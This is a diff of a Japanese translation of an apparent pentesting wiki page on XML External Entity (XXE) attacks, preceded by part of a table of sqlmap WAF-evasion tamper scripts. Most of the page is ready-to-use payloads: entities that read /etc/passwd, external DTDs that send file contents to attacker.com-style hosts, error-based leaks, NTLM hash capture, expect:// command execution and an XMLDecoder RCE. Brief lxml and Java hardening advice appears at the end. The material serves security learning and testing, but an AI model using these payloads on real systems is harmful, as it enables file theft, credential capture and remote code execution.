| escapequotes.py | クォート(' と ")をスラッシュでエスケープします。 |
|
||||
| greatest.py | 大なり演算子('>')を 'GREATEST' 対応物に置き換えます。 |
|
||||
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' のようなインスタンスを 'IF(ISNULL(A), B, A)' に置き換えます。 |
|
||||
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
|
||||
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
|
||||
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
||||
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置き換えに適した表現に置き換えます(例:.replace("SELECT", "") フィルター)。 |
|
||||
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
|
||||
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
|
||||
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
|
||||
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
||||
| securesphere.py | 特別に作成された文字列を追加します。 |
|
||||
| sp_password.py | ペイロードの末尾に 'sp_password' を追加し、DBMSログからの自動的な難読化を行います。 |
|
||||
| space2comment.py | スペース文字(' ')をコメントに置き換えます。 |
|
||||
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後に改行('\n')を追加します。 |
|
||||
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します。 |
|
||||
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
|
||||
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応物(&&および)に置き換えます。 |
|
||||
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 |
|
||||
| unmagicquotes.py | クォート文字(')をマルチバイトコンボ %bf%27 に置き換え、最後に一般的なコメントを追加します(動作させるため)。 |
|
||||
| uppercase.py | 各キーワード文字を大文字の値 'INSERT' に置き換えます。 |
|
||||
| varnish.py | HTTPヘッダー 'X-originating-IP' を追加します。 |
|
||||
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
|
||||
## References
|
||||
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
|
@ -6,17 +6,17 @@
|
||||
|
||||
XMLはデータの保存と輸送のために設計されたマークアップ言語で、説明的に名前付けされたタグを使用する柔軟な構造を特徴としています。HTMLとは異なり、あらかじめ定義されたタグのセットに制限されていません。JSONの台頭に伴い、XMLの重要性は低下していますが、当初はAJAX技術において重要な役割を果たしていました。
|
||||
|
||||
- **エンティティによるデータ表現**: XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらはXMLのタグシステムとの衝突を避けるためにそれぞれ`<`と`>`に対応します。
|
||||
- **XML要素の定義**: XMLは要素の型を定義することを可能にし、要素がどのように構造化されるべきか、どのような内容を含むことができるかを概説します。内容の種類は任意のタイプから特定の子要素までさまざまです。
|
||||
- **エンティティによるデータ表現**: XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらはXMLのタグシステムとの衝突を避けるために`<`や`>`に対応します。
|
||||
- **XML要素の定義**: XMLは要素の型を定義することを許可し、要素がどのように構造化されるべきか、どのような内容を含むことができるかを概説します。内容の種類は任意のタイプから特定の子要素までさまざまです。
|
||||
- **文書型定義 (DTD)**: DTDはXMLにおいて文書の構造と含むことができるデータの型を定義するために重要です。内部、外部、またはその組み合わせとして存在し、文書のフォーマットと検証方法をガイドします。
|
||||
- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML外部エンティティ(XXE)攻撃の文脈においてセキュリティ上の懸念を引き起こします。これは、XMLパーサーが外部データソースを処理する方法を悪用します: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML外部エンティティ (XXE) 攻撃の文脈においてセキュリティ上の懸念を引き起こします。これは、XMLパーサーが外部データソースを処理する方法を悪用します: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **パラメータエンティティによるXXE検出**: 特に従来の方法がパーサーのセキュリティ対策により失敗する場合、XXE脆弱性を検出するためにXMLパラメータエンティティを利用できます。これらのエンティティは、DNSルックアップや制御されたドメインへのHTTPリクエストをトリガーするなどのアウトオブバンド検出技術を可能にし、脆弱性を確認します。
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
## 主な攻撃
|
||||
|
||||
[**これらの攻撃のほとんどは、素晴らしいPortswiggers XEEラボを使用してテストされました: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
[**これらの攻撃のほとんどは、素晴らしいPortswiggerのXEEラボを使用してテストされました: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### 新しいエンティティテスト
|
||||
|
||||
@ -83,7 +83,7 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
**以前にコメントした技術**を使用すると、サーバーがあなたが制御するサーバーにアクセスしていることを示すことができます。それが機能しない場合、**XMLエンティティが許可されていない**可能性があります。その場合は、**XMLパラメータエンティティ**を使用してみることができます:
|
||||
使用している**以前にコメントされた技術**を使って、サーバーがあなたが制御するサーバーにアクセスしていることを示すことができます。しかし、それが機能しない場合、**XMLエンティティが許可されていない**可能性があります。その場合は、**XMLパラメータエンティティ**を使用してみることができます:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
@ -121,18 +121,18 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
このペイロードは、XMLパラメータエンティティ`%xxe`を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname`ファイルを攻撃者のサーバーに流出させます。
|
||||
このペイロードは、XMLパラメータエンティティ `%xxe` を定義し、DTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname` ファイルを攻撃者のサーバーに流出させます。
|
||||
|
||||
### エラーベース(外部DTD)
|
||||
|
||||
**この場合、サーバーがファイルの内容をエラーメッセージ内に表示する悪意のあるDTDを読み込むようにします(これはエラーメッセージが見える場合にのみ有効です)。** [**ここからの例。**](https://portswigger.net/web-security/xxe/blind)
|
||||
**この場合、サーバーが悪意のあるDTDを読み込むようにし、エラーメッセージ内にファイルの内容を表示させます(これはエラーメッセージが見える場合にのみ有効です)。** [**ここからの例。**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
悪意のある外部文書型定義(DTD)を使用して、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーメッセージをトリガーできます。これは以下の手順で実現されます:
|
||||
悪意のある外部文書型定義(DTD)を使用して、`/etc/passwd` ファイルの内容を明らかにするXML解析エラーメッセージをトリガーできます。これは以下の手順で実現されます:
|
||||
|
||||
1. `file`という名前のXMLパラメータエンティティが定義され、`/etc/passwd`ファイルの内容が含まれます。
|
||||
2. `eval`という名前のXMLパラメータエンティティが定義され、`error`という別のXMLパラメータエンティティの動的宣言を組み込みます。この`error`エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として`file`エンティティの内容を組み込みます。
|
||||
3. `eval`エンティティが呼び出され、`error`エンティティの動的宣言が行われます。
|
||||
4. `error`エンティティの呼び出しは、存在しないファイルを読み込もうとし、`/etc/passwd`ファイルの内容をファイル名の一部として含むエラーメッセージを生成します。
|
||||
1. `file` という名前のXMLパラメータエンティティが定義され、`/etc/passwd` ファイルの内容が含まれます。
|
||||
2. `eval` という名前のXMLパラメータエンティティが定義され、別のXMLパラメータエンティティ `error` の動的宣言を組み込みます。この `error` エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として `file` エンティティの内容を組み込みます。
|
||||
3. `eval` エンティティが呼び出され、`error` エンティティの動的宣言が行われます。
|
||||
4. `error` エンティティの呼び出しは、存在しないファイルを読み込もうとし、`/etc/passwd` ファイルの内容をファイル名の一部として含むエラーメッセージを生成します。
|
||||
|
||||
悪意のある外部DTDは、以下のXMLで呼び出すことができます:
|
||||
```xml
|
||||
@ -150,7 +150,7 @@ _**外部DTDは、2番目の`eval`内に1つのエンティティを含めるこ
|
||||
|
||||
では、**アウトオブバンドの相互作用がブロックされている**場合の盲目的なXXE脆弱性はどうでしょうか(外部接続が利用できない)?
|
||||
|
||||
XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言を混合する際にエラーメッセージを通じて機密データを露出させる**ことができます。この問題は、外部で宣言されたエンティティの内部再定義を可能にし、エラーに基づくXXE攻撃の実行を促進します。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを誘発することを目指します。
|
||||
XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言を混合する際にエラーメッセージを通じて機密データを露出させることができます**。この問題により、外部で宣言されたエンティティの内部再定義が可能になり、エラーに基づくXXE攻撃の実行が促進されます。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを誘発することを目指します。
|
||||
|
||||
サーバーのファイルシステムに`/usr/local/app/schema.dtd`にDTDファイルが含まれており、`custom_entity`というエンティティを定義しているシナリオを考えてみましょう。攻撃者は、次のようにハイブリッドDTDを提出することで、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーを誘発できます。
|
||||
```xml
|
||||
@ -167,8 +167,8 @@ XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言
|
||||
```
|
||||
このDTDによって実行される手順は以下の通りです:
|
||||
|
||||
- `local_dtd`という名前のXMLパラメータエンティティの定義には、サーバーのファイルシステム上にある外部DTDファイルが含まれています。
|
||||
- 外部DTDで元々定義されていた`custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーに基づくXXEエクスプロイト](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化します。この再定義は、解析エラーを引き起こし、`/etc/passwd`ファイルの内容を露出させることを目的としています。
|
||||
- `local_dtd`というXMLパラメータエンティティの定義には、サーバーのファイルシステム上にある外部DTDファイルが含まれています。
|
||||
- 外部DTDで元々定義されていた`custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーに基づくXXEエクスプロイト](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化します。この再定義は、パースエラーを引き起こし、`/etc/passwd`ファイルの内容を露出させることを目的としています。
|
||||
- `local_dtd`エンティティを使用することで、外部DTDが呼び出され、新たに定義された`custom_entity`が含まれます。この一連のアクションにより、エクスプロイトが狙うエラーメッセージが発生します。
|
||||
|
||||
**実世界の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd`に`ISOamso`というエンティティを含むDTDが存在することがよくあります。
|
||||
@ -225,17 +225,17 @@ Testing 0 entities : []
|
||||
|
||||
この脆弱性をテストするには、**XXEペイロードを含むMicrosoft Officeファイルを作成する必要があります**。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。
|
||||
|
||||
ドキュメントが解凍されたら、`./unzipped/word/document.xml` にあるXMLファイルを開き、好みのテキストエディタ(例えばvim)で編集します。XMLは、通常HTTPリクエストで始まる希望するXXEペイロードを含むように修正する必要があります。
|
||||
ドキュメントが解凍されたら、`./unzipped/word/document.xml` にあるXMLファイルを開き、好みのテキストエディタ(例えばvim)で編集します。XMLは、HTTPリクエストで始まることが多い、望ましいXXEペイロードを含むように修正する必要があります。
|
||||
|
||||
修正されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用のモニタ可能なURLに置き換えることが重要です。
|
||||
修正されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用にモニタリング可能なURLに置き換えることが重要です。
|
||||
|
||||
最後に、ファイルを圧縮して悪意のある poc.docx ファイルを作成できます。以前に作成した「unzipped」ディレクトリから、次のコマンドを実行する必要があります:
|
||||
|
||||
作成したファイルを潜在的に脆弱なウェブアプリケーションにアップロードでき、Burp Collaborator のログにリクエストが表示されることを期待できます。
|
||||
作成したファイルは、潜在的に脆弱なウェブアプリケーションにアップロードでき、Burp Collaborator のログにリクエストが表示されることを期待できます。
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
**jar** プロトコルは**Javaアプリケーション**内でのみアクセス可能です。これは、**PKZIP** アーカイブ(例:`.zip`、`.jar` など)内のファイルアクセスを可能にするように設計されており、ローカルおよびリモートファイルの両方に対応しています。
|
||||
**jar** プロトコルは、**Javaアプリケーション**内でのみアクセス可能です。これは、**PKZIP** アーカイブ(例:`.zip`、`.jar` など)内のファイルアクセスを可能にするように設計されており、ローカルファイルとリモートファイルの両方に対応しています。
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
@ -251,13 +251,13 @@ PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセ
|
||||
4. アーカイブ内の特定のファイル`file.zip`が読み取られます。
|
||||
5. 操作後、このプロセス中に作成された一時ファイルは削除されます。
|
||||
|
||||
このプロセスの2番目のステップで中断するための興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)にあるツールを利用できます。これには、Pythonサーバー(`slow_http_server.py`)やJavaサーバー(`slowserver.jar`)が含まれます。
|
||||
このプロセスの2番目のステップで中断するための興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために利用できるツールは、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)にあり、Pythonサーバー(`slow_http_server.py`)やJavaサーバー(`slowserver.jar`)が含まれています。
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 一時ディレクトリにファイルを書き込むことは、**パス・トラバーサルに関わる別の脆弱性をエスカレートさせるのに役立つ**(ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど)。
|
||||
> 一時ディレクトリにファイルを書き込むことは、**パス・トラバーサルに関わる別の脆弱性をエスカレートするのに役立つ**(ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど)。
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -304,7 +304,7 @@ Responder.py -I eth0 -v
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
その後、hashcatを使用してハッシュをクラッキングすることができます。
|
||||
その後、hashcatを使用してハッシュをクラックすることができます。
|
||||
|
||||
## 隠れたXXEの出現
|
||||
|
||||
@ -312,7 +312,7 @@ Responder.py -I eth0 -v
|
||||
|
||||
クライアントデータをサーバー側のXMLドキュメントに統合する際、バックエンドのSOAPリクエストのように、XML構造に対する直接的な制御はしばしば制限され、`DOCTYPE`要素の変更に対する制約のために従来のXXE攻撃が妨げられます。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にすることで解決策を提供します。この方法は、サーバー生成のXMLドキュメント内のデータの一部のみを制御できる場合でも効果的です。
|
||||
|
||||
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図する外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃がどのように構成されるかの簡潔な例です:
|
||||
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃がどのように構成されるかの簡潔な例です:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -334,7 +334,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
SVG形式は、サーバーのソフトウェアのXML処理機能を悪用する攻撃を開始するために使用されるため、堅牢な入力検証とセキュリティ対策の必要性が強調されます。
|
||||
SVG形式は、サーバーのソフトウェアのXML処理機能を悪用する攻撃を開始するために使用され、堅牢な入力検証とセキュリティ対策の必要性を強調しています。
|
||||
|
||||
詳細については[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)を確認してください!
|
||||
|
||||
@ -342,7 +342,7 @@ SVG形式は、サーバーのソフトウェアのXML処理機能を悪用す
|
||||
|
||||
### **PDF - ファイルアップロード**
|
||||
|
||||
次の投稿を読んで**PDFファイルをアップロードしてXXEを悪用する方法を学んでください**:
|
||||
次の投稿を読んで、**PDFファイルをアップロードしてXXEを悪用する方法を学んでください**:
|
||||
|
||||
{{#ref}}
|
||||
file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||||
@ -358,7 +358,7 @@ Content-Length: 7
|
||||
|
||||
foo=bar
|
||||
```
|
||||
次のリクエストを送信できるかもしれませんが、同じ結果になります:
|
||||
次のリクエストを送信できるかもしれませんが、同じ結果になります:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
@ -408,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
|
||||
### UTF-7
|
||||
|
||||
ここで \[**"Encode Recipe**" of cyberchef\]を使用できます。
|
||||
ここで \[**"Encode Recipe**" of cyberchef\]を使用できます \(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)を]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29を](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29を)) UTF-7に変換します。
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -480,7 +480,7 @@ XLIFF (XML Localization Interchange File Format) は、ローカリゼーショ
|
||||
|
||||
### Blind Request Analysis
|
||||
|
||||
サーバーに次の内容でリクエストが送信されます:
|
||||
サーバーに次の内容のリクエストが送信されます:
|
||||
```xml
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
@ -516,7 +516,7 @@ Content-Type: application/x-xliff+xml
|
||||
```
|
||||
このアプローチは、User AgentがJava 1.8の使用を示していることを明らかにします。このバージョンのJavaの制限の一つは、Out of Band技術を使用して、/etc/passwdのような改行文字を含むファイルを取得できないことです。
|
||||
|
||||
Error-Based Data Exfiltration この制限を克服するために、Error-Basedアプローチが採用されます。DTDファイルは、ターゲットファイルからのデータを含むエラーをトリガーするように次のように構成されています:
|
||||
Error-Based Data Exfiltration この制限を克服するために、Error-Basedアプローチが採用されます。DTDファイルは、ターゲットファイルからのデータを含むエラーをトリガーするように次のように構成されています:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
@ -534,7 +534,7 @@ Error-Based Data Exfiltration この制限を克服するために、Error-Based
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
この変更により、HTTP経由で送信されるエラー出力に反映されるファイルの内容が正常に抽出されます。これは、機密情報を抽出するためにOut of BandおよびError-Based技術の両方を利用した成功したXXE(XML External Entity)攻撃を示しています。
|
||||
この修正により、HTTP経由で送信されるエラー出力に反映されるように、ファイルの内容が正常に抽出されます。これは、機密情報を抽出するためにOut of BandおよびError-Based技術の両方を利用した成功したXXE(XML External Entity)攻撃を示しています。
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
@ -671,11 +671,11 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す
|
||||
</void>
|
||||
</java>
|
||||
```
|
||||
## XXE + WrapWrap + Lightyear + bypasses
|
||||
## XXE + WrapWrap + Lightyear + バイパス
|
||||
|
||||
この素晴らしいレポートを見てください [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
|
||||
|
||||
## Tools
|
||||
## ツール
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
@ -684,16 +684,16 @@ https://github.com/luisfontes19/xxexploiter
|
||||
### Python lxml パラメータエンティティ XXE (エラーに基づくファイル開示)
|
||||
|
||||
> [!INFO]
|
||||
> Pythonライブラリ **lxml** は内部で **libxml2** を使用しています。 **lxml 5.4.0 / libxml2 2.13.8** より前のバージョンは、`resolve_entities=False` の場合でも *parameter* エンティティを展開し続け、アプリケーションが `load_dtd=True` および/または `resolve_entities=True` を有効にするとアクセス可能になります。 これにより、ローカルファイルの内容をパーサーエラーメッセージに埋め込むエラーに基づく XXE ペイロードが可能になります。
|
||||
> Pythonライブラリ **lxml** は内部で **libxml2** を使用しています。 **lxml 5.4.0 / libxml2 2.13.8** より前のバージョンは、`resolve_entities=False` の場合でも *parameter* エンティティを展開し続け、アプリケーションが `load_dtd=True` および/または `resolve_entities=True` を有効にするとアクセス可能になります。 これにより、ローカルファイルの内容をパーサーエラーメッセージに埋め込むエラーに基づくXXEペイロードが可能になります。
|
||||
|
||||
#### 1. lxml < 5.4.0 の悪用
|
||||
1. **未定義** パラメータエンティティ (例: `%config_hex;`) を定義する *ローカル* DTD をディスク上で特定または作成します。
|
||||
2. 内部 DTD を作成します:
|
||||
* `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` でローカル DTD を読み込みます。
|
||||
* 未定義エンティティを再定義して、次のようにします:
|
||||
1. **未定義**のパラメータエンティティを定義する*ローカル* DTDをディスク上で特定または作成します(例: `%config_hex;`)。
|
||||
2. 内部DTDを作成します:
|
||||
* `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` でローカルDTDを読み込みます。
|
||||
* 未定義のエンティティを再定義し、次のようにします:
|
||||
- 対象ファイルを読み取ります (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`)。
|
||||
- `%flag;` 値を含む **無効なパス** を参照する別のパラメータエンティティを構築し、パーサーエラーをトリガーします (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
|
||||
3. 最後に `%local_dtd;` と `%eval;` を展開して、パーサーが `%error;` に遭遇し、`/aaa/<FLAG>` を開けずに失敗し、スローされた例外内にフラグを漏洩させます – これはしばしばアプリケーションによってユーザーに返されます。
|
||||
- `%flag;` 値を含む**無効なパス**を参照する別のパラメータエンティティを構築し、パーサーエラーを引き起こします (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
|
||||
3. 最後に `%local_dtd;` と `%eval;` を展開し、パーサーが `%error;` に遭遇し、`/aaa/<FLAG>` を開けずに失敗し、スローされた例外内にフラグを漏洩させます - これはしばしばアプリケーションによってユーザーに返されます。
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -734,11 +734,11 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
#### 緩和ガイダンス
|
||||
* **lxml ≥ 5.4.0**にアップグレードし、基盤となる**libxml2**が**≥ 2.13.8**であることを確認してください。
|
||||
* 絶対に必要でない限り、`load_dtd`および/または`resolve_entities`を無効にしてください。
|
||||
* 生のパーサーエラーをクライアントに返さないようにしてください。
|
||||
* クライアントに生のパーサーエラーを返さないようにしてください。
|
||||
|
||||
### Java DocumentBuilderFactoryの強化例
|
||||
|
||||
Javaアプリケーションは、`DocumentBuilderFactory`を使用してXMLを頻繁に解析します。デフォルトでは、ファクトリーは**外部エンティティの解決を許可**しており、追加の強化フラグが設定されていない場合、XXEやSSRFに対して脆弱です。
|
||||
Javaアプリケーションは、`DocumentBuilderFactory`を使用してXMLを頻繁に解析します。デフォルトでは、ファクトリーは**外部エンティティ解決を許可**しており、追加の強化フラグが設定されていない場合、XXEおよびSSRFに対して脆弱です。
|
||||
```java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
|
||||
@ -763,9 +763,11 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
アプリケーションが内部でDTDをサポートする必要がある場合、`disallow-doctype-decl`を無効のままにし、**常に**2つの`external-*-entities`機能を`false`に設定しておいてください。この組み合わせにより、古典的なファイル開示ペイロード(`file:///etc/passwd`)やネットワークベースのSSRFベクター(`http://169.254.169.254/…`、`jar:`プロトコルなど)を防ぐことができます。
|
||||
アプリケーションが内部でDTDをサポートする必要がある場合、`disallow-doctype-decl`を無効のままにし、**常に**2つの`external-*-entities`機能を`false`に設定しておきます。この組み合わせにより、古典的なファイル開示ペイロード(`file:///etc/passwd`)やネットワークベースのSSRFベクター(`http://169.254.169.254/…`、`jar:`プロトコルなど)を防ぐことができます。
|
||||
|
||||
実際のケーススタディ:**CVE-2025-27136**は、Java S3エミュレーター*LocalS3*で上記の脆弱なコンストラクターを使用していました。認証されていない攻撃者は、`CreateBucketConfiguration`エンドポイントに細工されたXMLボディを提供し、サーバーがHTTPレスポンスにローカルファイル(例えば`/etc/passwd`)を埋め込むことを可能にしました。
|
||||
## 実世界のケーススタディ
|
||||
|
||||
**CVE-2025-27136**は、Java S3エミュレーター*LocalS3*で、上記の脆弱なコンストラクタを使用していました。認証されていない攻撃者は、`CreateBucketConfiguration`エンドポイントに細工されたXMLボディを提供し、サーバーがHTTPレスポンスにローカルファイル(例えば`/etc/passwd`)を埋め込むことを可能にしました。
|
||||
|
||||
## 参考文献
|
||||
|
||||
